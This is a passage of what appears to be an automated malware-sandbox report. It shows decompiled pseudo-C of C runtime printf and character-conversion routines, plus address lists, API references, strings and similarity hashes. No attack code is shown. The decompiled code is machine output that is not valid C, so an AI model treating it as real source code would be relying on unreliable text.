																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0xf86dff92
																					E004246D0(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE60(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0xa86dfc78
																						E004246D0(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE60(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0x886dfc7f
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																					goto L187;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00428370(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AE60(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041AE60(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				if(E0043B5A0(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448) < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			goto L187;
																		case 7:
																			goto L0;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00428370(__ebp + 0x14);
																			if(E00433F20() != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L187;
																			}
																			L107:
																			__ecx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E390();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				goto L187;
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422E80(__ecx))) = 0x16;
																				__eax = E00422C10(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AE30(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428370(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				goto L105;
																			} else {
																				L88:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041AE60(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					if(E00431230( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478)) != 0) {
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																				}
																				L97:
																				L105:
																				goto L187;
																			}
																		case 0xc:
																			L141:
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 0xd:
																			L144:
																			 *((intOrPtr*)(__ebp - 0x460)) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *((intOrPtr*)(__ebp - 0x460)) =  *((intOrPtr*)(__ebp - 0x460)) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			goto L187;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0043c3ab
0x0043c3ab
0x0043c3ab
0x0043c3ab
0x0043c3ab
0x0043c3ab
0x0043c3ab
0x0043c3b1
0x0043c3b4
0x00000000
0x0043c432
0x00000000
0x0043c432
0x00000000
0x0043c432
0x0043c432
0x0043c43a
0x0043c45c
0x0043c462
0x0043c487
0x0043c4ce
0x0043c4d1
0x0043c4f2
0x0043c4f7
0x0043c4fc
0x0043c502
0x0043c4d3
0x0043c4d7
0x0043c4dc
0x0043c4df
0x0043c4e0
0x0043c4e6
0x0043c4e6
0x0043c489
0x0043c48c
0x0043c48f
0x0043c4b1
0x0043c4b6
0x0043c4bc
0x0043c4bd
0x0043c4c3
0x0043c491
0x0043c495
0x0043c49a
0x0043c49e
0x0043c49f
0x0043c4a5
0x0043c4a5
0x0043c4c9
0x0043c464
0x0043c468
0x0043c46d
0x0043c470
0x0043c476
0x0043c476
0x0043c43c
0x0043c440
0x0043c445
0x0043c448
0x0043c44e
0x0043c44e
0x0043c50e
0x0043c550
0x0043c556
0x0043c562
0x00000000
0x0043c510
0x0043c510
0x0043c510
0x0043c517
0x00000000
0x0043c524
0x0043c524
0x0043c532
0x0043c537
0x0043c53d
0x0043c54b
0x0043c568
0x0043c570
0x0043c592
0x0043c592
0x0043c59c
0x0043c5ad
0x0043c5b7
0x0043c5b9
0x0043c5b9
0x0043c59e
0x0043c59e
0x0043c59e
0x0043c5cc
0x0043c5ce
0x0043c5ce
0x0043c5db
0x0043c5de
0x0043c5de
0x0043c5e4
0x0043c5e7
0x0043c5ec
0x00000000
0x00000000
0x0043c5fc
0x0043c5ff
0x0043c609
0x0043c618
0x0043c621
0x0043c637
0x0043c63d
0x0043c64a
0x0043c658
0x0043c658
0x0043c667
0x0043c66f
0x0043c66f
0x0043c677
0x0043c680
0x0043c689
0x0043c695
0x0043c6ae
0x0043c6b4
0x0043c6bd
0x0043c6bd
0x00000000
0x0043c6c0
0x00000000
0x0043c6c0
0x00000000
0x0043c6c0
0x00000000
0x0043c6c0
0x00000000
0x0043c6c0
0x00000000
0x0043c6c0
0x00000000
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x0043c8a0
0x0043c8a4
0x0043c8ac
0x0043c8b1
0x0043c8b4
0x0043c8b4
0x0043c8bb
0x0043c8bb
0x0043ba3b
0x0043ba42
0x0043ba4f
0x0043ba54
0x00000000
0x0043ba67
0x0043ba71
0x0043ba98
0x0043ba7f
0x0043ba90
0x0043ba90
0x0043ba71
0x0043baa2
0x0043baa8
0x0043bab4
0x0043bab7
0x0043bac5
0x0043bac8
0x0043bad5
0x0043bb7a
0x0043bb80
0x0043bb8d
0x00000000
0x00000000
0x0043bb93
0x0043bb99
0x00000000
0x0043bba0
0x0043bba0
0x0043bbba
0x0043bbbf
0x00000000
0x00000000
0x0043bbc7
0x0043bbc7
0x0043bbce
0x0043bbd1
0x0043bbd4
0x0043bbd7
0x0043bbda
0x0043bbdd
0x0043bbe0
0x0043bbe7
0x0043bbee
0x00000000
0x00000000
0x0043bbfa
0x0043bbfa
0x0043bc01
0x0043bc0d
0x0043bc10
0x0043bc1d
0x00000000
0x00000000
0x0043bc1f
0x0043bc25
0x0043bc25
0x0043bc2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc70
0x0043bc70
0x0043bc7a
0x0043bca7
0x0043bcb1
0x0043bcb1
0x0043bcb5
0x0043bc7c
0x0043bc7c
0x0043bc88
0x0043bc8f
0x0043bc94
0x0043bc97
0x0043bc9a
0x0043bc9d
0x0043bc9f
0x0043bc9f
0x0043bca2
0x00000000
0x00000000
0x0043bcbd
0x0043bcbd
0x00000000
0x00000000
0x0043bcc9
0x0043bcc9
0x0043bcd3
0x0043bcf3
0x0043bcf6
0x0043bd00
0x0043bd00
0x0043bd04
0x0043bcd5
0x0043bcd5
0x0043bce1
0x0043bce8
0x0043bcea
0x0043bcea
0x0043bcf1
0x00000000
0x00000000
0x0043bd0c
0x0043bd0c
0x0043bd13
0x0043bd1f
0x0043bd22
0x0043bd2f
0x0043be42
0x00000000
0x0043be42
0x0043bd35
0x0043bd3b
0x0043bd3b
0x0043bd42
0x00000000
0x0043bd79
0x0043bd79
0x0043bd7c
0x0043bd82
0x0043bda9
0x0043bda9
0x0043bdac
0x0043bdb2
0x0043bdd6
0x0043bdd6
0x0043bdd9
0x0043bddf
0x0043be18
0x0043be29
0x00000000
0x0043be29
0x0043bde1
0x0043bde1
0x0043bde4
0x0043bdea
0x00000000
0x00000000
0x0043bdec
0x0043bdec
0x0043bdef
0x0043bdf5
0x00000000
0x00000000
0x0043bdf7
0x0043bdf7
0x0043bdfa
0x0043be00
0x00000000
0x00000000
0x0043be02
0x0043be02
0x0043be05
0x0043be0b
0x00000000
0x00000000
0x0043be0d
0x0043be0d
0x0043be10
0x0043be16
0x0043be1a
0x00000000
0x0043be1a
0x00000000
0x0043be16
0x0043bdb4
0x0043bdb4
0x0043bdb7
0x0043bdbe
0x00000000
0x0043bdc0
0x0043bdc3
0x0043bdc6
0x0043bdcc
0x0043bdd1
0x00000000
0x0043bdd1
0x0043bdbe
0x0043bd84
0x0043bd84
0x0043bd87
0x0043bd8e
0x00000000
0x0043bd90
0x0043bd93
0x0043bd96
0x0043bd9c
0x0043bda1
0x00000000
0x0043bda1
0x00000000
0x0043be2b
0x0043be2b
0x0043be2e
0x0043be31
0x00000000
0x00000000
0x0043bd49
0x0043bd49
0x0043bd4c
0x0043bd52
0x0043bd6e
0x0043bd71
0x0043bd54
0x0043bd54
0x0043bd57
0x0043bd5a
0x0043bd60
0x0043bd66
0x0043bd66
0x00000000
0x00000000
0x0043be36
0x0043be39
0x0043be3f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bc49
0x0043bc49
0x0043bc4c
0x0043bc4f
0x00000000
0x00000000
0x0043bc54
0x0043bc57
0x0043bc5d
0x00000000
0x00000000
0x0043bc3e
0x0043bc41
0x0043bc44
0x00000000
0x00000000
0x0043bc33
0x0043bc36
0x0043bc39
0x00000000
0x00000000
0x0043bc62
0x0043bc65
0x0043bc68
0x00000000
0x00000000
0x0043bc6b
0x00000000
0x00000000
0x0043badb
0x0043badb
0x0043badd
0x0043baeb
0x0043badf
0x0043badf
0x0043badf
0x0043bafb
0x0043bb08
0x0043bb0a
0x0043bb0f
0x0043bb11
0x0043bb16
0x0043bb1b
0x0043bb1d
0x0043bb22
0x0043bb28
0x0043bb2a
0x0043bb2a
0x0043bb28
0x0043bb2b
0x0043bb32
0x00000000
0x0043bb34
0x0043bb39
0x0043bb55
0x0043bb5d
0x0043bb6a
0x0043bb6f
0x0043c984
0x0043c991
0x0043c991
0x0043bb32
0x0043bad5
0x0043c8c0
0x0043c8c7
0x0043c8de
0x0043c8d2
0x0043c8d2
0x0043c8d2
0x0043c8e8
0x0043c8ee
0x0043c8fb
0x0043c8fd
0x0043c902
0x0043c904
0x0043c909
0x0043c90e
0x0043c910
0x0043c915
0x0043c91b
0x0043c91d
0x0043c91d
0x0043c91b
0x0043c925
0x0043c970
0x0043c979
0x0043c97e
0x0043c927
0x0043c92c
0x0043c948
0x0043c950
0x0043c95d
0x0043c962
0x0043c962
0x00000000
0x0043c925
0x0043c6ca
0x0043c6d0
0x0043c6da
0x0043c6f4
0x0043c70e
0x0043c715
0x0043c719
0x0043c719
0x0043c6f6
0x0043c6fb
0x0043c6ff
0x0043c6ff
0x0043c6dc
0x0043c6e1
0x0043c6e5
0x0043c6e5
0x0043c6da
0x0043c729
0x0043c735
0x0043c74b
0x0043c750
0x0043c750
0x0043c766
0x0043c76b
0x0043c774
0x0043c792
0x0043c797
0x0043c797
0x0043c79e
0x0043c858
0x0043c86b
0x0043c870
0x00000000
0x0043c7ae
0x0043c7ae
0x0043c7b1
0x0043c7ba
0x0043c7c0
0x0043c7c0
0x0043c7cf
0x0043c7d7
0x00000000
0x00000000
0x0043c7d9
0x0043c7dc
0x0043c801
0x0043c806
0x0043c809
0x0043c816
0x0043c824
0x0043c837
0x0043c83c
0x0043c84b
0x00000000
0x0043c84b
0x0043c818
0x0043c818
0x00000000
0x0043c818
0x0043c856
0x0043c873
0x0043c87a
0x0043c898
0x0043c89d
0x0043c89d
0x00000000
0x0043c87a
0x0043be47
0x0043be47
0x0043be4e
0x0043be54
0x0043be5a
0x0043be5d
0x0043be63
0x0043be70
0x0043be76
0x0043be76
0x0043be7d
0x00000000
0x0043c201
0x0043c201
0x0043c20f
0x0043c212
0x00000000
0x00000000
0x0043be84
0x0043be87
0x0043be8d
0x0043be92
0x0043be95
0x0043be95
0x00000000
0x00000000
0x0043bfca
0x0043bfcd
0x0043bfd2
0x0043bfd7
0x0043bfda
0x0043bfda
0x00000000
0x00000000
0x0043c3cd
0x0043c3cd
0x00000000
0x00000000
0x0043bf34
0x0043bf34
0x0043bf40
0x0043bf4d
0x0043bf5b
0x0043bf5b
0x0043bf61
0x0043bf64
0x0043bf70
0x0043bfc5
0x00000000
0x0043bfc5
0x0043bf4f
0x0043bf4f
0x0043bf59
0x0043bf75
0x0043bf78
0x0043bf7e
0x0043bfa6
0x0043bfad
0x0043bfb3
0x0043bfb6
0x0043bfb9
0x0043bfbf
0x0043bfc2
0x0043bf80
0x0043bf80
0x0043bf86
0x0043bf89
0x0043bf8c
0x0043bf92
0x0043bf95
0x0043bf98
0x0043bf9a
0x0043bf9d
0x0043bf9d
0x00000000
0x0043bf7e
0x00000000
0x00000000
0x0043c219
0x0043c21c
0x0043c21f
0x0043c222
0x0043c228
0x0043c22b
0x0043c236
0x0043c241
0x0043c245
0x0043c25c
0x0043c263
0x0043c265
0x0043c265
0x0043c26c
0x0043c273
0x0043c281
0x0043c284
0x0043c293
0x0043c29a
0x0043c2af
0x0043c29c
0x0043c29c
0x0043c29f
0x0043c2a5
0x0043c2aa
0x0043c2aa
0x0043c29a
0x0043c2b9
0x0043c2bc
0x0043c2bf
0x0043c2c2
0x0043c2c5
0x0043c2c8
0x0043c2ce
0x0043c2d4
0x0043c2dc
0x0043c2dd
0x0043c2e0
0x0043c2e1
0x0043c2e4
0x0043c2e5
0x0043c2ec
0x0043c2ed
0x0043c2f0
0x0043c2f1
0x0043c2f4
0x0043c2f5
0x0043c2fb
0x0043c2fc
0x0043c30b
0x0043c30d
0x0043c313
0x0043c318
0x0043c320
0x0043c328
0x0043c329
0x0043c32c
0x0043c32d
0x0043c33c
0x0043c33e
0x0043c33e
0x0043c341
0x0043c34b
0x0043c350
0x0043c356
0x0043c358
0x0043c360
0x0043c361
0x0043c364
0x0043c365
0x0043c373
0x0043c375
0x0043c375
0x0043c356
0x0043c378
0x0043c37b
0x0043c381
0x0043c386
0x0043c38b
0x0043c391
0x0043c394
0x0043c394
0x0043c397
0x0043c3a3
0x00000000
0x0043c3a3
0x0043c247
0x0043c247
0x0043c251
0x00000000
0x00000000
0x0043c253
0x0043c253
0x00000000
0x0043c253
0x0043c238
0x0043c238
0x00000000
0x00000000
0x0043be98
0x0043be98
0x0043bea3
0x0043beab
0x0043beb2
0x0043beb5
0x0043beb8
0x0043bf18
0x0043beba
0x0043bec1
0x0043bec7
0x0043becd
0x0043bed4
0x0043bed7
0x0043bedd
0x0043bee5
0x0043bee7
0x0043beee
0x0043bef5
0x0043bf06
0x0043bf08
0x0043bf08
0x0043bf0f
0x0043bf1f
0x0043bf25
0x0043bf28
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c10a
0x0043c10a
0x0043c116
0x0043c123
0x0043c1cd
0x0043c1cd
0x0043c1d0
0x0043c1d3
0x0043c1e7
0x0043c1ed
0x0043c1f3
0x0043c1d5
0x0043c1d5
0x0043c1db
0x0043c1e2
0x0043c1e2
0x0043c1f5
0x00000000
0x0043c1f5
0x0043c129
0x0043c129
0x0043c12b
0x0043c139
0x0043c12d
0x0043c12d
0x0043c12d
0x0043c143
0x0043c149
0x0043c156
0x0043c158
0x0043c15d
0x0043c15f
0x0043c164
0x0043c169
0x0043c16b
0x0043c170
0x0043c176
0x0043c178
0x0043c178
0x0043c176
0x0043c180
0x0043c1c8
0x00000000
0x0043c182
0x0043c182
0x0043c187
0x0043c1a3
0x0043c1ab
0x0043c1b5
0x0043c1b8
0x0043c1bd
0x00000000
0x0043c1bd
0x00000000
0x0043c414
0x0043c414
0x0043c41e
0x0043c424
0x0043c429
0x0043c42f
0x0043c42f
0x00000000
0x00000000
0x0043c3c6
0x0043c3c6
0x00000000
0x00000000
0x0043bfdd
0x0043bfe1
0x0043bfef
0x0043bff2
0x0043bfe3
0x0043bfe3
0x0043bfe3
0x0043bff8
0x0043bffe
0x0043c004
0x0043c010
0x0043c016
0x0043c019
0x0043c0a1
0x0043c0a5
0x0043c0a7
0x0043c0ad
0x0043c0ad
0x0043c0b0
0x0043c0b7
0x0043c0ba
0x0043c0c0
0x0043c0c0
0x0043c0c0
0x0043c0c6
0x0043c0cc
0x0043c0cf
0x0043c0d7
0x00000000
0x00000000
0x0043c0d9
0x0043c0d9
0x0043c0df
0x0043c0e4
0x00000000
0x00000000
0x0043c0e6
0x0043c0ec
0x0043c0ef
0x0043c0ef
0x0043c0f7
0x0043c0fd
0x0043c100
0x0043c102
0x00000000
0x0043c01f
0x0043c01f
0x0043c023
0x0043c025
0x0043c02a
0x0043c02a
0x0043c02d
0x0043c030
0x0043c036
0x0043c048
0x0043c048
0x0043c048
0x0043c051
0x00000000
0x00000000
0x0043c053
0x0043c053
0x0043c059
0x0043c05e
0x00000000
0x00000000
0x0043c060
0x0043c060
0x0043c069
0x0043c06f
0x0043c07d
0x0043c085
0x0043c088
0x0043c088
0x0043c094
0x0043c097
0x0043c042
0x0043c045
0x0043c045
0x0043c09f
0x0043c105
0x00000000
0x0043c105
0x00000000
0x0043c3bd
0x0043c3bd
0x00000000
0x00000000
0x0043c3d9
0x0043c3d9
0x0043c3e3
0x0043c3e3
0x0043c3ed
0x0043c3f3
0x0043c3f5
0x0043c3fa
0x0043c404
0x0043c407
0x0043c40b
0x0043c40b
0x00000000
0x00000000
0x00000000
0x00000000
0x0043be7d
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c517
0x0043c50e
0x0043c432
0x0043c432
0x0043c432

APIs

_get_int64_arg.LIBCMTD ref: 0043C440
_get_int64_arg.LIBCMTD ref: 0043C468
__aullrem.LIBCMT ref: 0043C610
__aulldiv.LIBCMT ref: 0043C632
_write_multi_char.LIBCMTD ref: 0043C74B
_write_string.LIBCMTD ref: 0043C766
_write_multi_char.LIBCMTD ref: 0043C792
__mbtowc_l.LIBCMTD ref: 0043C801

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043BB16, 0043BB46
9, xrefs: 0043C643
_woutput_s_l, xrefs: 0043BB4B
("Incorrect format specifier", 0), xrefs: 0043BB0A, 0043BB50

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3455034128-2408376751
Opcode ID: d4a58136b0145b5c115aa839525cd5604df4bf1ae10c53c93a3a0f80db908ccb
Instruction ID: 612bc726806c7d75b40534455124233dff79b9627f9fc568e58594933b182763
Opcode Fuzzy Hash: d4a58136b0145b5c115aa839525cd5604df4bf1ae10c53c93a3a0f80db908ccb
Instruction Fuzzy Hash: C9F14AB1D002299FDB24DF58CC81BAEB7B1BF89314F14519AE609B7241D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00437223, Relevance: 33.3, APIs: 22, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00437223(void* __ebx, void* __edi, void* __esi) {
				intOrPtr* _t143;
				signed int* _t145;
				int _t150;
				intOrPtr* _t167;
				intOrPtr _t189;
				void* _t206;
				intOrPtr _t223;
				intOrPtr _t230;
				void* _t272;
				void* _t273;
				signed int _t274;

				_t273 = __esi;
				_t272 = __edi;
				_t206 = __ebx;
				if( *(_t274 + 8) == 0) {
					_t143 = E0041AE60(_t274 - 0x20);
					_t208 =  *_t143;
					if( *((intOrPtr*)( *_t143 + 0x14)) != 0) {
						_t210 = _t274 - 0x20;
						_t145 = E0041AE60(_t274 - 0x20);
						_t256 =  *_t145;
						 *(_t274 - 4) = WideCharToMultiByte( *( *_t145 + 4), 0,  *(_t274 + 0xc), 0xffffffff, 0, 0, 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							 *((intOrPtr*)(L00422E80(_t210))) = 0x2a;
							 *(_t274 - 0x68) = 0xffffffff;
							E0041AE30(_t274 - 0x20);
							_t150 =  *(_t274 - 0x68);
						} else {
							 *(_t274 - 0x6c) =  *(_t274 - 4) - 1;
							E0041AE30(_t274 - 0x20);
							_t150 =  *(_t274 - 0x6c);
						}
					} else {
						_t256 =  *(_t274 + 0xc);
						 *(_t274 - 0x64) = E0042DB70(_t208,  *(_t274 + 0xc));
						E0041AE30(_t274 - 0x20);
						_t150 =  *(_t274 - 0x64);
					}
					L47:
					return E0042BCD0(_t150, _t206,  *(_t274 - 0x24) ^ _t274, _t256, _t272, _t273);
				}
				if( *((intOrPtr*)( *((intOrPtr*)(E0041AE60(_t274 - 0x20))) + 0x14)) != 0) {
					if( *((intOrPtr*)( *((intOrPtr*)(E0041AE60(_t274 - 0x20))) + 0xac)) != 1) {
						_t223 =  *((intOrPtr*)(E0041AE60(_t274 - 0x20)));
						_t256 =  *(_t223 + 4);
						 *(_t274 - 4) = WideCharToMultiByte( *(_t223 + 4), 0,  *(_t274 + 0xc), 0xffffffff,  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							if( *(_t274 - 0x10) != 0 || GetLastError() != 0x7a) {
								 *((intOrPtr*)(L00422E80(_t223))) = 0x2a;
								 *(_t274 - 0x4c) = 0xffffffff;
								E0041AE30(_t274 - 0x20);
								_t150 =  *(_t274 - 0x4c);
							} else {
								while( *(_t274 - 4) <  *(_t274 + 0x10)) {
									_t167 = E0041AE60(_t274 - 0x20);
									_t230 =  *((intOrPtr*)(E0041AE60(_t274 - 0x20)));
									_t256 =  *(_t230 + 4);
									 *((intOrPtr*)(_t274 - 0xc)) = WideCharToMultiByte( *(_t230 + 4), 0,  *(_t274 + 0xc), 1, _t274 - 0x2c,  *( *_t167 + 0xac), 0, _t274 - 0x10);
									if( *((intOrPtr*)(_t274 - 0xc)) == 0 ||  *(_t274 - 0x10) != 0) {
										 *((intOrPtr*)(L00422E80(_t230))) = 0x2a;
										 *(_t274 - 0x50) = 0xffffffff;
										E0041AE30(_t274 - 0x20);
										_t150 =  *(_t274 - 0x50);
									} else {
										if( *((intOrPtr*)(_t274 - 0xc)) < 0 ||  *((intOrPtr*)(_t274 - 0xc)) > 5) {
											 *((intOrPtr*)(L00422E80(_t230))) = 0x2a;
											 *(_t274 - 0x54) = 0xffffffff;
											E0041AE30(_t274 - 0x20);
											_t150 =  *(_t274 - 0x54);
										} else {
											if( *(_t274 - 4) +  *((intOrPtr*)(_t274 - 0xc)) <=  *(_t274 + 0x10)) {
												 *(_t274 - 8) = 0;
												while( *(_t274 - 8) <  *((intOrPtr*)(_t274 - 0xc))) {
													( *(_t274 + 8))[ *(_t274 - 4)] =  *((intOrPtr*)(_t274 +  *(_t274 - 8) - 0x2c));
													_t256 =  &(( *(_t274 + 8))[ *(_t274 - 4)]);
													if(( *(_t274 + 8))[ *(_t274 - 4)] != 0) {
														 *(_t274 - 8) =  *(_t274 - 8) + 1;
